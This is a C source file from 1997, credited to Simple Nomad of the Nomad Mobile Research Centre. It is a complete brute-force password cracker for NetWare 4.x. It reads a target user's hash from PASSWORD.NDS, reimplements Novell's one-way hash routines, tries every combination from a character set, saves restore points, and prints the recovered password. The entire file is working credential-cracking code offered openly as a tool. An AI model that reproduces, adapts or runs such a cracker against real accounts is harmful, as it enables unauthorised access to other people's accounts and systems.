/*************************************************************************
* *
* crypto.c - cracks one way encrypted passwords from NDS *
* *
* Programmer - Simple Nomad - Nomad Mobile Research Centre *
* Crypto routines by itsme@xs4all.nl *
* *
*-----------------------------------------------------------------------*
* *
* 6/6/97 - Initial Revision *
* *
*-----------------------------------------------------------------------*
* *
* 6/13/97 - Completed basic program. *
* *
*-----------------------------------------------------------------------*
* *
* 6/26/97 - Redid brute force attack. Cleaned up code. *
* *
*-----------------------------------------------------------------------*
* *
* 6/27/97 - Minor bug fixes to improve memory usage. *
* *
*-----------------------------------------------------------------------*
* *
* 6/28/97 - Removed several old routines, minor bug fixes. *
* *
*-----------------------------------------------------------------------*
* *
* 6/29/97 - Fixed problem that crashed DOS windows under Win95, also *
* added big endian support. *
* *
*************************************************************************/
/*
* Includes
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*
* Typedefs for program
*/
typedef unsigned char uint8;
typedef unsigned int uint16;
typedef unsigned long uint32;
/*
* The PASSWORD.NDS struct and a global pointer
*/
typedef struct password
{
uint32 selfOffset; /* Offset in PASSWORD.NDS. If this is
the first record, it is 0x00000000
followed by 0x0000014e for the
second record, etc. */
uint32 id; /* Object ID from ENTRY */
uint32 parentID; /* Parent ID */
uint32 objectID; /* Object ID from Private Key */
uint32 pwlen; /* Password length of user account */
uint8 hash[16]; /* One-way hash */
uint8 userOU[40]; /* OU of User */
uint8 userCN[258]; /* User common name */
} PASSWORD; /* size=334 */
PASSWORD pPassword;
#ifdef ENDIAN
union
{
uint32 longData;
uint8 shortData[4];
} output;
union
{
uint32 longData;
uint8 shortData[4];
} input;
#endif
/*
* Global constants
*/
#define TRUE 1
#define FALSE 0
uint8 nyblTab[256]= /* used by encrypt */
{/* 0 1 2 3 4 5 6 7 8 9 a b c d e f */
0x7,0x8,0x0,0x8,0x6,0x4,0xE,0x4,0x5,0xC,0x1,0x7,0xB,0xF,0xA,0x8,
0xF,0x8,0xC,0xC,0x9,0x4,0x1,0xE,0x4,0x6,0x2,0x4,0x0,0xA,0xB,0x9,
0x2,0xF,0xB,0x1,0xD,0x2,0x1,0x9,0x5,0xE,0x7,0x0,0x0,0x2,0x6,0x6,
0x0,0x7,0x3,0x8,0x2,0x9,0x3,0xF,0x7,0xF,0xC,0xF,0x6,0x4,0xA,0x0,
0x2,0x3,0xA,0xB,0xD,0x8,0x3,0xA,0x1,0x7,0xC,0xF,0x1,0x8,0x9,0xD,
0x9,0x1,0x9,0x4,0xE,0x4,0xC,0x5,0x5,0xC,0x8,0xB,0x2,0x3,0x9,0xE,
0x7,0x7,0x6,0x9,0xE,0xF,0xC,0x8,0xD,0x1,0xA,0x6,0xE,0xD,0x0,0x7,
0x7,0xA,0x0,0x1,0xF,0x5,0x4,0xB,0x7,0xB,0xE,0xC,0x9,0x5,0xD,0x1,
0xB,0xD,0x1,0x3,0x5,0xD,0xE,0x6,0x3,0x0,0xB,0xB,0xF,0x3,0x6,0x4,
0x9,0xD,0xA,0x3,0x1,0x4,0x9,0x4,0x8,0x3,0xB,0xE,0x5,0x0,0x5,0x2,
0xC,0xB,0xD,0x5,0xD,0x5,0xD,0x2,0xD,0x9,0xA,0xC,0xA,0x0,0xB,0x3,
0x5,0x3,0x6,0x9,0x5,0x1,0xE,0xE,0x0,0xE,0x8,0x2,0xD,0x2,0x2,0x0,
0x4,0xF,0x8,0x5,0x9,0x6,0x8,0x6,0xB,0xA,0xB,0xF,0x0,0x7,0x2,0x8,
0xC,0x7,0x3,0xA,0x1,0x4,0x2,0x5,0xF,0x7,0xA,0xC,0xE,0x5,0x9,0x3,
0xE,0x7,0x1,0x2,0xE,0x1,0xF,0x4,0xA,0x6,0xC,0x6,0xF,0x4,0x3,0x0,
0xC,0x0,0x3,0x6,0xF,0x8,0x7,0xB,0x2,0xD,0xC,0x6,0xA,0xA,0x8,0xD
};
/*
/ nyblTab reversed
/
/ 0 02 1c 2b 2c 30 3f 6e 72 89 9d ad b8 bf cc ef f1
/ 1 0a 16 23 26 48 4c 51 69 73 7f 82 94 b5 d4 e2 e5
/ 2 1a 20 25 2d 34 40 5c 9f a7 bb bd be ce d6 e3 f8
/ 3 32 36 41 46 5d 83 88 8d 93 99 af b1 d2 df ee f2
/ 4 05 07 15 18 1b 3d 53 55 76 8f 95 97 c0 d5 e7 ed
/ 5 08 28 57 58 75 7d 84 9c 9e a3 a5 b0 b4 c3 d7 dd
/ 6 04 19 2e 2f 3c 62 6b 87 8e b2 c5 c7 e9 eb f3 fb
/ 7 00 0b 2a 31 38 49 60 61 6f 70 78 cd d1 d9 e1 f6
/ 8 01 03 0f 11 33 45 4d 5a 67 98 ba c2 c6 cf f5 fe
/ 9 14 1f 27 35 4e 50 52 5e 63 7c 90 96 a9 b3 c4 de
/ a 0e 1d 3e 42 47 6a 71 92 aa ac c9 d3 da e8 fc fd
/ b 0c 1e 22 43 5b 77 79 80 8a 8b 9a a1 ae c8 ca f7
/ c 09 12 13 3a 4a 56 59 66 7b a0 ab d0 db ea f0 fa
/ d 24 44 4f 68 6d 7e 81 85 91 a2 a4 a6 a8 bc f9 ff
/ e 06 17 29 54 5f 64 6c 7a 86 9b b6 b7 b9 dc e0 e4
/ f 0d 10 21 37 39 3b 4b 65 74 8c c1 cb d8 e6 ec f4
*/
uint8 crypTab[32]= /* used by encrypt & encryptp */
{
0x48,0x93,0x46,0x67,0x98,0x3D,0xE6,0x8D,0xB7,0x10,0x7A,0x26,0x5A,0xB9,0xB1,0x35,
0x6B,0x0F,0xD5,0x70,0xAE,0xFB,0xAD,0x11,0xF4,0x47,0xDC,0xA7,0xEC,0xCF,0x50,0xC0
};
/* The characters used for brute force cracking */
char
data[68]={"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789,./<>?;':\"[]{}`~!@#$%^&*()_-+=|"};
/*
* Global variables
*/
int level=0;
int crypt2data[96];
int crypt2_c_val[64];
int revcrypt2data[96];
int revcrypt2_c_val[64];
/*
* START OF ITSME ROUTINES
*/
/*
* generic dump routine
*/
void dump(uint8 *p,int l)
{
int i;
for (i=0 ; i<l ; i++)
{
printf("%02x",p[i]);
if (i==15) putchar(' ');
}
putchar('\n');
}
/*
* solve case problem
*/
int solveEqn(uint8 a, uint8 b, uint8 c, int startX)
{
int x;
for (x=startX ; x<256 ; x++)
if (((c^(x-a)^(x+b))&0xff)==0)
return x;
return -1;
}
uint8 calcElement(int index);
/*
* calc_c called by calcElement to get the c value
* c[0]=elem[0]
* c[1]=elem[0]+elem[1]
* c[2]=elem[0]+elem[1]+elem[2]
*/
int calc_c(int index)
{
if (index<32)
return 0;
if (crypt2_c_val[index-32]==-1)
crypt2_c_val[index-32]=calc_c(index-1)+calcElement(index);
return crypt2_c_val[index-32];
}
/*
* calcElement called by crypt2
*/
uint8 calcElement(int index)
{
int c;
int k;
int i;
int value;
int result;
if (index<0)
return 0;
if (crypt2data[index]!=-1)
return crypt2data[index];
c=calc_c(index-1);
i=index&0x1f;
k=(c+i)&0x1f;
value=calcElement(index-32);
if (k<i)
result=(calcElement(index-i+k)-crypTab[i]) ^ (value+c);
else if (k==i)
result=(value-crypTab[i]) ^ (value+c);
else /* k>i */
result=(calcElement(index-32-i+k)-crypTab[i]) ^ (value+c);
crypt2data[index]=result;
return result;
}
/*
* crypt2 2nd encryption on cipher
*/
void crypt2(uint8 *cipher)
{
int i;
for (i=0 ; i<32 ; i++)
cipher[i]=calcElement(64+i);
}
/*
* Now take the plaintext and make it ciphertext
*/
void forwardcrypt(uint8 *plain, uint8 *cipher)
{
int c;
int k;
int i;
int j;
uint8 buf[3][32];
memcpy(buf[0], plain, 32);
c=0;
for (j=0 ; j<2 ; j++)
for (i=0 ; i<32 ; i++)
{
k = (i+c)&0x1f;
if (k<i)
buf[j+1][i]=(buf[j+1][k] - crypTab[i]) ^ (buf[j][i]+c);
else if (k==i)
buf[j+1][i]=(buf[j][i] - crypTab[i]) ^ (buf[j][i]+c);
else /* k>i */
buf[j+1][i]=(buf[j][k] - crypTab[i]) ^ (buf[j][i]+c);
c+=buf[j+1][i];
}
memcpy(cipher, buf[2], 32);
}
uint8 revcalcElement(int index);
void initCalc(uint8 *plain)
{
int i;
for (i=0 ; i<32 ; i++)
crypt2data[i]=plain[i];
memset(crypt2data+32, -1, 64*sizeof(int));
memset(crypt2_c_val, -1, 64*sizeof(int));
}
/*
* initRevCalc called from main encryptp routine
*/
void initRevCalc(uint8 *cipher, int initial_c)
{
int i;
for (i=0 ; i<32 ; i++)
revcrypt2data[i+64]=cipher[i];
memset(revcrypt2data, -1, 64*sizeof(int));
memset(revcrypt2_c_val, -1, 64*sizeof(int));
revcrypt2_c_val[63]=initial_c;
}
/*
* calculate c for revcrypt
*/
int rev_calc_c(int index)
{
level++;
if (index<32)
{
level--;
return 0;
}
if (revcrypt2_c_val[index-32]==-1)
revcrypt2_c_val[index-32]=rev_calc_c(index+1)-revcalcElement(index+1);
level--;
return revcrypt2_c_val[index-32];
}
/*
* calc the element from the crypt table
*/
uint8 revcalcElement(int index)
{
int c;
int k;
int i;
int value;
int result;
level++;
if (index<0)
{
level--;
return 0;
}
if (revcrypt2data[index]!=-1)
{
level--;
return revcrypt2data[index];
}
c=rev_calc_c(index);
i=index&0x1f;
k=(c+i)&0x1f;
value=revcalcElement(index+32);
if (k<i)
result = value ^ (revcalcElement(index+32-i+k) - crypTab[i]) ;
else if (k==i)
result = solveEqn(crypTab[i], c, value, 0);
else /* k>i */
result = value ^ (revcalcElement(index-i+k) - crypTab[i]);
revcrypt2data[index]=result;
level--;
return result;
}
/*
* revcrypt2
*/
void revcrypt2(uint8 *plain)
{
int i;
for (i=0 ; i<32 ; i++)
plain[i]=revcalcElement(64+i);
}
/*
* shrink to 16 byte hash
*/
void shrinkbuf(uint8 *src, uint8 *dst)
{
int i;
for (i=0 ; i<16 ; i++)
{
*dst = nyblTab[*src++];
*dst++ |= nyblTab[*src++]<<4;
}
}
/*
* XOR password with object ID
*/
void xorwithid(uint32 id, uint32 *buf)
{
int i;
for (i=0 ; i<8 ; i++)
*buf++ ^= id;
}
/*
* Prepare the password by lengthening...
*/
void preparepw(uint8 *pw, int pwLen, uint8 *dst)
{
uint8 *p;
int i;
p=pw;
for (i=0 ; i<32 ; i++)
{
if (pw+pwLen==p)
{
p=pw;
*dst++=crypTab[i];
}
else
*dst++=*p++;
}
}
/*
* uint32 id : UserID
* char src[len] : unencrypted password to try
* int len : length of unencrypted password
* char dst[16] : encrypted password (result)
*/
int encryptp(uint32 id, uint8 *src, int len, uint8 *dst)
{
uint8 buf[32]; /* password xored with ID and itself ... */
uint8 buf2[32]; /* password xored with ID and itself ... */
int FOUND,i;
FOUND=TRUE;
preparepw(src, len, buf);
xorwithid(id, (uint32*)buf);
forwardcrypt(buf, buf2);
initCalc(buf);
crypt2(buf2);
initRevCalc(buf2, 0x58);
revcrypt2(buf);
shrinkbuf(buf2, dst);
/* dst should now contain the one way hash,
so we compare it to our targeted user's */
for (i=0;i<16;i++)
{
if (dst[i]!=pPassword.hash[i]) FOUND=FALSE;
}
return(FOUND);
}
/*
* END OF ITSME ROUTINES
*/
/*
* This routine switches byte ordering to get around the big
* endian -- little endian problem. I did this because systems
* like AIX offer no solutions for a big endian reading a little
* endian created file. Send it a uint32 and it returns the
* converted uint32.
*/
#ifdef ENDIAN
uint32 make_conversion(uint32 k) {
int i;
uint32 j;
input.longData=k;
for (i=0; i<4; i++)
output.shortData[i]=input.shortData[3-i];
return(output.longData);
}
#endif
/*
* Dump unicode to screen. I dislike unicode a lot, but this routine
* skips the 0x00's and only prints the parts that matter.
*/
void printUnicodeName(char *name, int j)
{
int i;
for (i=0;i<j;i++)
{
if (name[i]!=0) putchar(name[i]);
}
}
/*
* This routine counts the number of PASSWORD.NDS records and returns the
* value.
*/
long int countPasswordRecords(void)
{
FILE *fPassword;
long int j;
uint32 k;
ldiv_t calc;
fPassword=fopen("PASSWORD.NDS","rb");
if (fPassword==NULL)
{
printf("Unable to open PASSWORD.NDS\n");
exit(1);
}
fseek(fPassword,334,SEEK_END);
k=ftell(fPassword);
calc=ldiv(k,334);
j=calc.quot;
fclose(fPassword);
return(j);
}
/*
* print usage if needed
*/
void printHelp(int j)
{
printf("USAGE: crypto <options>\n");
printf(" -h This HELP screen\n");
printf(" -r RESTORE a previous brute force attack.\n");
printf(" -u <username> Attack the USER specified (username is case sensitive).\n\n");
printf("EXAMPLES:\n");
printf(" crypto -r\n");
printf(" crypto -u Admin\n\n");
exit(j);
}
/*
* This routine looks for a particular user. It is passed the total number
* of users to look through and who to look for. If found, TRUE is returned.
* FALSE is returned if the user was not found.
*/
int findEntryInPasswordFile(long int j, char *account)
{
FILE *fPassword;
int FOUND,i,k;
FOUND=FALSE;
fPassword=fopen("PASSWORD.NDS","rb");
if (fPassword==NULL)
{
printf("Unable to open PASSWORD.NDS\n");
exit(1);
}
while(j!=0)
{
fread(&pPassword,334,1,fPassword);
FOUND=TRUE;
for (i=0;i<strlen(account);i++)
{
k=i*2+6;
if (account[i]!=pPassword.userCN[k]) FOUND=FALSE;
}
if (FOUND==TRUE)
break;
j--;
}
fclose(fPassword);
return(FOUND);
}
/*
* Main prog
*/
void main(int argc, char **argv)
{
FILE *restoreTemp;
int i,t,FOUND,restore,counter;
long int j;
uint8 dstpw[16];
char *account;
char *last_try;
char try[16];
int try_index[]={0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0};
/* you would not BELIEVE how many problems this calloc solved */
account = calloc(sizeof(account), 1);
restore=FALSE;
last_try="||||||||||||||||";
counter=0;
/* say hello... */
printf("CRYPTO - Netware 4.x brute force password cracker\n");
printf("Written by Simple Nomad - Nomad Mobile Research Centre\n");
printf("Bugs to pandora@nmrc.org - http://www.nmrc.org\n");
printf(" Based off of Netware 3.x crypto routines written by itsme\n\n");
if (argc<2) printHelp(1);
/* process the command line */
for (i=1 ; i<argc ; i++)
{
if (argv[i][0]=='-')
switch(argv[i][1])
{
case 'r':
case 'R':
restore=TRUE;
break;
case 'u':
case 'U':
if ((i+1>argc) || argv[i+1][0]=='-')
{
printf("No argument given for option -u\n");
exit(1);
}
sprintf(account,"%s",argv[i+1]);
break;
case 'h':
case 'H':
case '?':
printHelp(0);
default:
printf("Invalid option: %s\n", argv[i]);
printHelp(1);
}
}
/* if we aren't restoring a past brute force attack,
we must find the user's info and set things up */
if(restore==FALSE)
{
j=countPasswordRecords();
FOUND=findEntryInPasswordFile(j,account);
if (FOUND==FALSE)
{
printf("%s not found in password file.\n",account);
exit(1);
}
FOUND=FALSE;
for (i=0;i<pPassword.pwlen;i++)
{
strcat(try,"A");
try_index[i]=0;
}
printf("Starting brute force...\n");
}
/* if restoring a past brute force attempt, read in where we
left off, reset the try_index array, and start processing */
else
{
restoreTemp=fopen("RESTORE.PAN","rb");
if (restoreTemp==NULL)
{
printf("Unable to open RESTORE.PAN\n");
exit(1);
}
fread(&pPassword,334,1,restoreTemp);
fgets(try,pPassword.pwlen+1,restoreTemp);
fflush(restoreTemp);
fclose(restoreTemp);
#ifdef ENDIAN
pPassword.objectID=make_conversion(pPassword.objectID);
#endif
for (i=0;i<pPassword.pwlen;i++)
{
for (t=0;t<68;t++)
if (try[i]==data[t]) try_index[i]=t;
}
printUnicodeName(pPassword.userCN,258);
printf("'s password brute force session restored.\n");
printf("Last attempt - %s\nContinuing brute force...\n",try);
}
/* tell the hacker why the screen looks hung... */
printf("Press CTRL-C or CTRL-BREAK to stop...\n");
/* loop forever (or until success, the bitter end, or power failure) */
while(1)
{
#ifndef UNIX
if (kbhit()); /* this must be here for MS-DOS to get in a ctrl-c */
#endif
counter++;
if (counter==1000) /* every 1000 attempts save our place */
{
counter=0;
restoreTemp=fopen("RESTORE.PAN","w+b");
if (restoreTemp==NULL)
{
printf("Unable to open RESTORE.PAN\n");
exit(1);
}
fwrite(&pPassword,334,1,restoreTemp);
fputs(try,restoreTemp);
fflush(restoreTemp);
fclose(restoreTemp);
}
/* do the test... */
FOUND = encryptp(pPassword.objectID, try, pPassword.pwlen, dstpw);
if (FOUND==TRUE) /* if we got it, break the loop */
break;
/* if it's the last attempt, break the loop */
if (strncmp(try,last_try,pPassword.pwlen)==0)
break;
i=0;
/* increment our index so we know what the next attempt is */
while(i<pPassword.pwlen)
{
if (try_index[i] < 66)
{
try_index[i]++;
break;
}
if (try_index[i]==66) try_index[i]=0;
i++;
};
/* after incrementing the index, update the char string */
for (i=0;i<pPassword.pwlen;i++)
{
t=try_index[i];
try[i]=data[t];
}
}
/* now we are out of the loop */
printf("\n");
printUnicodeName(pPassword.userCN,258);
if (FOUND==TRUE) /* if we got the password, print it */
printf(" password is %s\n",try);
else /* otherwise give the bad news */
printf("'s password not found.\n");
}